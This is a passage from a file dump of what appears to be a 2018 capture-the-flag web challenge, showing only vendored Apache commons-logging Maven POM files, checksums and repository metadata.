  </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>donaldp</id>\n      <name>Peter Donald</name>\n      <email>donaldp at apache dot org</email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>costin</id>\n      <name>Costin Manolache</name>\n      <email>costin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rsitze</id>\n      <name>Richard Sitze</name>\n      <email>rsitze at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>baliuka</id>\n      <name>Juozas Baliuka</name>\n      <email>baliuka@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>skitching</id>\n      <name>Simon Kitching</name>\n      <email>skitching@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>bstansberry</id>\n      <name>Brian Stansberry</name>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk</connection>\n    <url>http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/AvalonLoggerTest.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-xdoc-plugin</artifactId>\n        <version>1.9.2</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.9.2 (minimum)</comment>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.12</version>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>1.0.1</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>avalon-framework</groupId>\n      <artifactId>avalon-framework</artifactId>\n      <version>4.1.3</version>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://cvs.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n    </site>\n    <status>converted</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1/commons-logging-1.1.pom.sha1",
    "content": "d80c5278c4f112aba0a6e987d7321676ce074a22  /home/csanchez/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ncommons-logging-1.1.1.jar>central=\ncommons-logging-1.1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar.sha1",
    "content": "5043bfebc3db072ed80fbd362e7caf00e885d8ae"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.pom",
    "content": "<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <!--\n    - Note that due to the special requirements of logging unit-tests, most\n    - tests are executed in the \"integration-test\" phase rather than the\n    - \"test\" phase. Please run \"mvn integration-test\" to run the full suite of\n    - available unit tests.\n    -->\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>5</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging</artifactId>\n  <name>Commons Logging</name>\n  <version>1.1.1</version>\n  <description>Commons Logging is a thin adapter allowing configurable bridging to other,\n    well known logging systems.</description>\n  <url>http://commons.apache.org/logging</url>\n\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://issues.apache.org/jira/browse/LOGGING</url>\n  </issueManagement>\n\n  <inceptionYear>2001</inceptionYear>\n\n  <developers>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email>morgand at apache dot org</email>\n      <organization>Apache</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc at apache org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>donaldp</id>\n      <name>Peter Donald</name>\n      <email>donaldp at apache dot org</email>\n    </developer>\n    <developer>\n      <id>costin</id>\n      <name>Costin Manolache</name>\n      <email>costin at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rsitze</id>\n      <name>Richard Sitze</name>\n      <email>rsitze at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>baliuka</id>\n      <name>Juozas Baliuka</name>\n      <email>baliuka@apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>skitching</id>\n      <name>Simon Kitching</name>\n      <email>skitching@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>bstansberry</id>\n      <name>Brian Stansberry</name>\n    </developer>\n  </developers>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/logging/tags/commons-logging-1.1.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/logging/tags/commons-logging-1.1.1</developerConnection>\n    <url>http://svn.apache.org/repos/asf/commons/proper/logging/tags/commons-logging-1.1.1</url>\n  </scm>\n\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n\n    <testResources>\n      <testResource>\n        <directory>src/test</directory>\n        <filtering>false</filtering>\n        <includes>\n          <include>**/*.properties</include>\n        </includes>\n      </testResource>\n    </testResources>\n\n    <plugins>\n\n      <!--\n        - The custom test framework requires the unit test code to be\n        - in a jarfile so it can control its place in the classpath.\n        -->\n      <plugin>      \n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>src/conf/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n        <executions>\n          <execution>\n            <id>testjar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n            <configuration>\n              <jarName>commons-logging</jarName>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <!--\n          - We want to create four jarfiles from this project: normal, tests, api\n          - and adapters. The first two are handled by the normal jar:jar target.\n          - Alas, the standard jar plugin doesn't have includes/excludes support\n          - in version 2.0, so antrun is used to create the other ones.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <version>1.1</version>\n        <executions>\n          <execution>\n            <id>apijar</id>\n            <phase>package</phase>\n            <configuration>\n              <tasks>\n                <property name=\"workdir\" value=\"${project.build.directory}/rejar\" />\n                <property name=\"target\" value=\"${project.artifactId}-api-${project.version}\" />\n\n                <delete dir=\"${workdir}\" failonerror=\"false\" />\n                <mkdir dir=\"${workdir}\" />\n\n                <unjar src=\"${project.build.directory}/${project.build.finalName}.jar\" dest=\"${workdir}\" />\n                <jar basedir=\"${workdir}\" destfile=\"${project.build.directory}/${target}.jar\" manifest=\"${basedir}/src/conf/MANIFEST.MF\">\n                  <exclude name=\"org/apache/commons/logging/impl/Log4J*\" />\n                  <exclude name=\"org/apache/commons/logging/impl/Avalon*\" />\n                  <exclude name=\"org/apache/commons/logging/impl/Jdk13*\" />\n                  <exclude name=\"org/apache/commons/logging/impl/LogKit*\" />\n                  <exclude name=\"org/apache/commons/logging/impl/Servlet*\" />\n                </jar>\n              </tasks>\n            </configuration>\n            <goals>\n              <goal>run</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>adaptersjar</id>\n            <phase>package</phase>\n            <configuration>\n              <tasks>\n                <property name=\"workdir\" value=\"${project.build.directory}/rejar\" />\n                <property name=\"target\" value=\"${project.artifactId}-adapters-${project.version}\" />\n\n                <delete dir=\"${workdir}\" failonerror=\"false\" />\n                <mkdir dir=\"${workdir}\" />\n\n                <unjar src=\"${project.build.directory}/${project.build.finalName}.jar\" dest=\"${workdir}\" />\n                <jar basedir=\"${workdir}\" destfile=\"${project.build.directory}/${target}.jar\" manifest=\"${basedir}/src/conf/MANIFEST.MF\">\n                  <exclude name=\"org/apache/commons/logging/*\" />\n                  <exclude name=\"org/apache/commons/logging/impl/WeakHashtable*\" />\n                  <exclude name=\"org/apache/commons/logging/impl/LogFactoryImpl*\" />\n                </jar>\n              </tasks>\n            </configuration>\n            <goals>\n              <goal>run</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>site.resources</id>\n            <phase>site</phase>\n            <configuration>\n              <tasks>\n                <copy todir=\"${project.reporting.outputDirectory}\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"RELEASE-NOTES.txt\" />\n                  </fileset>\n                  <!--\n                    - The logo should be moved to\n                    - ${basedir}/src/site/resources/images\n                    - once we can drop support for the Maven 1 site.\n                    - When that is done this section can be removed.\n                    -->\n                  <fileset dir=\"${basedir}/xdocs\">\n                    <include name=\"images/logo.png\" />\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n            <goals>\n              <goal>run</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin> \n\n      <plugin>\n        <!--\n          - Attach the adapters and api jars to the normal artifact. This way\n          - they will be deployed when the normal artifact is deployed.\n          -->\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <version>1.0</version>\n        <executions>\n          <execution>\n            <id>attach-artifacts</id>\n            <phase>package</phase>\n            <goals>\n              <goal>attach-artifact</goal>\n            </goals>\n            <configuration>\n              <artifacts>\n                <artifact>\n                  <file>${project.build.directory}/${project.artifactId}-adapters-${project.version}.jar</file>\n                  <type>jar</type>\n                  <classifier>adapters</classifier>\n                </artifact>\n                <artifact>\n                  <file>${project.build.directory}/${project.artifactId}-api-${project.version}.jar</file>\n                  <type>jar</type>\n                  <classifier>api</classifier>\n                </artifact>\n              </artifacts>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.0-beta-6</version>\n        <configuration>\n          <!--\n            - The site needs to be built prior to deploy,\n            - because it is included in the assembly.\n            -->\n          <goals>site deploy</goals>\n          <!-- Pass these arguments to the deploy plugin. -->\n          <arguments>-Prelease</arguments>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <!--\n          - Many of JCL's tests use tricky techniques to place the generated\n          - JCL jarfiles on the classpath in various configurations. This means\n          - that the tests must be run *after* the \"package\" build phase. The\n          - normal test phase is therefore disabled here, and the test plugin\n          - rebound to the \"integration-test\" phase instead.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/AvalonLoggerTestCase.java</include>\n          </includes>\n        </configuration>\n\n        <executions>\n          <execution>\n            <id>integration-test</id>\n            <phase>integration-test</phase>\n            <goals>\n              <goal>test</goal>\n            </goals>\n            <configuration>\n              <includes>\n                <include>**/*TestCase.java</include>\n              </includes>\n              <systemProperties>\n                <!--\n                <property>\n                  <name>org.apache.commons.logging.diagnostics.dest</name>\n                  <value>STDOUT</value>\n                </property>\n                -->\n                <property>\n                  <name>commons-logging</name>\n                  <value>target/${project.build.finalName}.jar</value>\n                </property>\n                <property>\n                  <name>commons-logging-api</name>\n                  <value>target/${project.artifactId}-api-${project.version}.jar</value>\n                </property>\n                <property>\n                  <name>commons-logging-adapters</name>\n                  <value>target/${project.artifactId}-adapters-${project.version}.jar</value>\n                </property>\n                <property>\n                  <name>testclasses</name>\n                  <value>target/commons-logging-tests.jar</value>\n                </property>\n              </systemProperties>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.2-beta-1</version>\n        <configuration>\n          <appendAssemblyId>false</appendAssemblyId>\n          <!-- Do not deploy the assemblies to the repository. -->\n          <attach>false</attach>\n          <descriptors>\n            <descriptor>src/assembly/assembly.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>2.0-beta-5</version>\n      </plugin>\n\n    </plugins>\n  </build>\n  \n  <profiles>\n    <!-- This profile can be removed when we update to commons-parent-5 -->\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <!-- Create the assemblies automatically during release. -->\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <version>2.3</version>\n            <configuration>\n              <!-- Pick up this configuration from settings.xml. -->\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.12</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>1.0.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>avalon-framework</groupId>\n      <artifactId>avalon-framework</artifactId>\n      <version>4.1.3</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <reporting>\n    <plugins>\n      <!--\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <configuration>\n          <configLocation>checkstyle.xml</configLocation>\n        </configuration>\n      </plugin>\n      -->\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.1.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/logging/</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.compile.source>1.2</maven.compile.source>\n    <maven.compile.target>1.1</maven.compile.target>\n  </properties>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.pom.sha1",
    "content": "76672afb562b9e903674ad3a544cdf2092f1faa3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ncommons-logging-1.2.jar>central=\ncommons-logging-1.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/commons-logging-1.2.jar.sha1",
    "content": "4bfc12adfe4842bf07b657f0369c4cb522955686"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/commons-logging-1.2.pom",
    "content": "<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <!--\n    - Note that due to the special requirements of logging unit-tests, most\n    - tests are executed in the \"integration-test\" phase rather than the\n    - \"test\" phase. Please run \"mvn integration-test\" to run the full suite of\n    - available unit tests.\n    -->\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>34</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-logging</groupId>\n  <artifactId>commons-logging</artifactId>\n  <name>Apache Commons Logging</name>\n  <version>1.2</version>\n  <description>Apache Commons Logging is a thin adapter allowing configurable bridging to other,\n    well known logging systems.</description>\n  <url>http://commons.apache.org/proper/commons-logging/</url>\n\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://issues.apache.org/jira/browse/LOGGING</url>\n  </issueManagement>\n\n  <inceptionYear>2001</inceptionYear>\n\n  <developers>\n    <developer>\n      <id>baliuka</id>\n      <name>Juozas Baliuka</name>\n      <email>baliuka@apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email>morgand@apache.org</email>\n      <organization>Apache</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>donaldp</id>\n      <name>Peter Donald</name>\n      <email>donaldp@apache.org</email>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>skitching</id>\n      <name>Simon Kitching</name>\n      <email>skitching@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>costin</id>\n      <name>Costin Manolache</name>\n      <email>costin@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>tn</id>\n      <name>Thomas Neidhart</name>\n      <email>tn@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>rsitze</id>\n      <name>Richard Sitze</name>\n      <email>rsitze@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <id>bstansberry</id>\n      <name>Brian Stansberry</name>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff@apache.org</email>\n      <organization>The Apache Software Foundation</organization>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Matthew P. Del Buono</name>\n      <roles>\n        <role>Provided patch</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Vince Eagen</name>\n      <email>vince256 at comcast dot net</email>\n      <roles>\n        <role>Lumberjack logging abstraction</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Peter Lawrey</name>\n      <roles>\n        <role>Provided patch</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n      <email>bloritsch at apache dot org</email>\n      <roles>\n        <role>Lumberjack logging abstraction</role>\n        <role>JDK 1.4 logging abstraction</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Philippe Mouawad</name>\n      <roles>\n        <role>Provided patch</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Neeme Praks</name>\n      <email>neeme at apache dot org</email>\n      <roles>\n        <role>Avalon logging abstraction</role>\n      </roles>\n    </contributor>\n    \n  </contributors>\n  \n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/logging/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/logging/trunk</developerConnection>\n    <url>http://svn.apache.org/repos/asf/commons/proper/logging/trunk</url>\n  </scm>\n\n  <build>\n    <plugins>\n\n      <!--\n        - We want to create four jarfiles from this project: normal, tests, api\n        - and adapters. The first two are handled by the normal jar:jar and\n        - jar:test-jar targets.\n        - The jar plugin with some includes/excludes is used to create the other\n        - ones.\n        -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <executions>\n          <execution>\n            <!--\n              - The custom test framework requires the unit test code to be\n              - in a jarfile so it can control its place in the classpath.\n              -->\n            <id>testjar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n            <configuration>\n              <jarName>commons-logging</jarName>\n            </configuration>\n          </execution>\n\n          <execution>\n            <id>apijar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n            <configuration>\n              <jarName>${project.artifactId}-api-${project.version}</jarName>\n              <includes>\n                <include>org/apache/commons/logging/*.class</include>\n                <include>org/apache/commons/logging/impl/LogFactoryImpl*.class</include>\n                <include>org/apache/commons/logging/impl/WeakHashtable*.class</include>\n                <include>org/apache/commons/logging/impl/SimpleLog*.class</include>\n                <include>org/apache/commons/logging/impl/NoOpLog*.class</include>\n                <include>org/apache/commons/logging/impl/Jdk14Logger.class</include>\n                <include>META-INF/LICENSE.txt</include>\n                <include>META-INF/NOTICE.txt</include>\n              </includes>\n              <excludes>\n                <exclude>**/package.html</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n\n          <execution>\n            <id>adaptersjar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n            <configuration>\n              <jarName>${project.artifactId}-adapters-${project.version}</jarName>\n              <includes>\n                <include>org/apache/commons/logging/impl/**.class</include>\n                <include>META-INF/LICENSE.txt</include>\n                <include>META-INF/NOTICE.txt</include>\n              </includes>\n              <excludes>\n                <exclude>org/apache/commons/logging/impl/WeakHashtable*.class</exclude>\n                <exclude>org/apache/commons/logging/impl/LogFactoryImpl*.class</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n          \n          <!--\n            - Define the full jar last, the deploy/install plugin seems to be broken\n            - and takes the last definition from here.\n            -->\n          <execution>\n            <id>fulljar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n            <configuration>\n              <jarName>${project.artifactId}-${project.version}</jarName>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>site.resources</id>\n            <phase>site</phase>\n            <configuration>\n              <target>\n                <copy todir=\"${project.reporting.outputDirectory}\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"RELEASE-NOTES.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n            <goals>\n              <goal>run</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <!--\n          - Attach the adapters and api jars to the normal artifact. This way\n          - they will be deployed when the normal artifact is deployed.\n          -->\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <version>1.0</version>\n        <executions>\n          <execution>\n            <id>attach-artifacts</id>\n            <phase>package</phase>\n            <goals>\n              <goal>attach-artifact</goal>\n            </goals>\n            <configuration>\n              <artifacts>\n                <artifact>\n                  <file>${project.build.directory}/${project.artifactId}-adapters-${project.version}.jar</file>\n                  <type>jar</type>\n                  <classifier>adapters</classifier>\n                </artifact>\n                <artifact>\n                  <file>${project.build.directory}/${project.artifactId}-api-${project.version}.jar</file>\n                  <type>jar</type>\n                  <classifier>api</classifier>\n                </artifact>\n              </artifacts>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <!--\n          - Many of JCL's tests use tricky techniques to place the generated\n          - JCL jarfiles on the classpath in various configurations. This means\n          - that those tests must be run *after* the \"package\" build phase.\n          -\n          - In order to not mess with the Ant build we \"disable\" the normal test\n          - phase. This is done by skipping the execution of the surefire plugin.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <skip>true</skip>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <!--\n          - Many of JCL's tests use tricky techniques to place the generated\n          - JCL jarfiles on the classpath in various configurations. This means\n          - that those tests must be run *after* the \"package\" build phase.\n          -\n          - Disable cobertura report generation as this does not work correctly\n          - with integration-tests and the normal unit tests are disabled too.\n          -->\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>${commons.cobertura.version}</version>\n        <configuration>\n          <skip>true</skip>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <!--\n          - Many of JCL's tests use tricky techniques to place the generated\n          - JCL jarfiles on the classpath in various configurations. This means\n          - that those tests must be run *after* the \"package\" build phase.\n          -\n          - For this we use the failsafe plugin which is bound to the\n          - \"integration-test\" phase by default.\n          